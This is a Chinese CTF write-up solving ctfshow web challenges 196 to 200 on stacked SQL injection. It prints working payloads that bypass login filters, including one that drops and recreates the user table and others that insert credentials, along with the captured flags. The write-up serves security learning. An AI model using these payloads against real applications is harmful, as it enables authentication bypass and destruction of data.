ctfshow-web入门-sql注入(web196-web200)堆叠注入

78 篇文章 2 订阅
33 篇文章 2 订阅

目录

1、web196

2、web197

3、web198 

4、web199

5、web200


1、web196

对输入长度做了限制

输出 flag 的条件:

if($row[0]==$password){
      $ret['msg']="登陆成功 flag is $flag";
  }

其中 $row[0] 表示从数据库查询结果中提取的某一行的第一个字段值,我们可以使用 select 来设置 $row[0] 的值,再提交我们设置的 password 满足两者相等,payload:

还是堆叠注入,显示过滤了 select 实际并没有。 

1;select(1)

密码输入 1 

拿到 flag:ctfshow{2be6f5b8-da42-430f-8bcd-69b94a029dc7}

2、web197

select 被过滤了,输入长度没有做限制

根据查询语句可以知道表名为  ctfshow_user

那么如果我们执行 show tables 结果中一定有某一行的第一个字段值为 ctfshow_user

payload:

1;show tables

密码为: ctfshow_user

拿到 flag:ctfshow{09afff4e-5588-478c-a15d-9edd4d3db8ea}

由于过滤掉了 update 我们无法直接更新 ctfshow_user 这个表中 pass 和 username 的值,但是我们可以先删掉这个表,再重新创建这个表,插入 pass 和 username 的值都为 1:

(其实直接插入也可以实现覆盖的,下一题我们再用)

1;drop table ctfshow_user;create table ctfshow_user(`username` varchar(100),`pass` varchar(100));insert ctfshow_user(`username`,`pass`) value(1,1)

密码随便输 

执行后,再次输入 1 和 1 进行登录:登录成功

3、web198 

这里把 create 和 drop 都过滤了,那么我们直接用 insert 插入来覆盖 pass 和 username 的值:

1;insert ctfshow_user(`username`,`pass`) value(1,1)

执行后使用 1 和 1 进行登录: 覆盖成功

这里 set 也被过滤了,有些数据库其实也支持 set 语句来修改。

当然上一题 show tables 的那个方法还是可行的,密码为 ctfshow_user

4、web199

新增过滤括号,再想覆盖表中 pass 和 username 的值就难了,采用 show tables 的方法吧:

1;show tables

密码是 ctfshow_user

拿到 flag:ctfshow{47f59326-2cc8-4565-94d1-996e5c2da062}

5、web200

继续在新增过滤,这里新增过滤了逗号

还是采用查表的方法:

1;show tables

密码是 ctfshow_user

拿到 flag:ctfshow{f62d67e4-5d25-4a90-8ebd-52bcc4010342}

堆叠告一段落

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Myon⁶

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值